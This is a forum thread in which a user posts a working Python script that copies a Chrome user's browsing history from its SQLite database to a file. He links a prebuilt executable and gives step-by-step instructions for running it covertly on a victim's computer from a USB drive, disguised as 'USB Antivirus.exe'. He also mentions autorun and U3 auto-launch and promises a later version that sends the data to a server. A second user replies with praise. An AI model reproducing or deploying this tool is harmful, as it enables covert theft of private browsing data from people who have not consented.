How to get/hack google chrome history

Help on cleaning Viruses, Trojans, Spyware and Adware
Post Reply
User avatar
Himash
Sergeant
Sergeant
Posts: 14
Joined: Fri Oct 12, 2018 11:25 am

How to get/hack google chrome history

Post by Himash » Mon Oct 15, 2018 12:24 am

Hi guys here is my simple script to get all google chrome history !

Code: Select all

import os
import operator
import sqlite3



data_path = os.path.expanduser('~')+"\AppData\Local\Google\Chrome\User Data\Default"
files = os.listdir(data_path)

history_db = os.path.join(data_path, 'history')


c = sqlite3.connect(history_db)
cursor = c.cursor()
select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor.execute(select_statement)

results = cursor.fetchall() 

defile = open("gg.txt","a+")



for t in results:
    line = ' '.join(str(x) for x in t)
    defile.write(line + '\n')
defile.close()

Here is the executable for the above source code! https://mega.nz/#!fOZDTSqJ!mI85aaiJ9vy ... jhZhzFYNg

So following are the steps to hack your victim chrome history !

1.Copy the downloaded executable to your USB flash drive (pen drive).

2.Rename the downloaded "history.exe" to something like "USB Antivirus.exe" (so the victim never notice the executable as a threat)

3.Now plug the USB flash drive to the target computer

4.Run the executable.

5.After a few seconds remove the USB flash drive.

6.Now Insert the USB flash drive to your computer , now you can see the file that containing google chrome browser history. :yahoo: :yahoo:

You can also use windows AutoRun feature ; but windows removed this feature from windows xp considering it as a critical security threat.
Windows XP refined this feature with an “AutoPlay” function. When you inserted a disc, USB flash drive, or another type of removable media device, Windows will examine its contents and suggest actions to you , but it won't start any applications automatically!

but still you have a chance to go with U3 (U3 is a proprietary platform for auto launching applications from a USB drive. It is only able to auto-start because the specially formatted drives contain a partition that tricks the computer into thinking a CD was inserted)........!
Maybe in another post i can show you how to implement this hack with U3 or implement with CD/DVD and send all the information to a specific server...!
giphy.gif
giphy.gif (56.17 KiB) Viewed 3927 times
User avatar
Saman
Lieutenant Colonel
Lieutenant Colonel
Posts: 828
Joined: Fri Jul 31, 2009 10:32 pm
Location: Mount Lavinia

Re: How to get/hack google chrome history

Post by Saman » Tue Oct 16, 2018 4:58 am

Nice !
Post Reply

Return to “Viruses, Trojans, Spyware and Adware”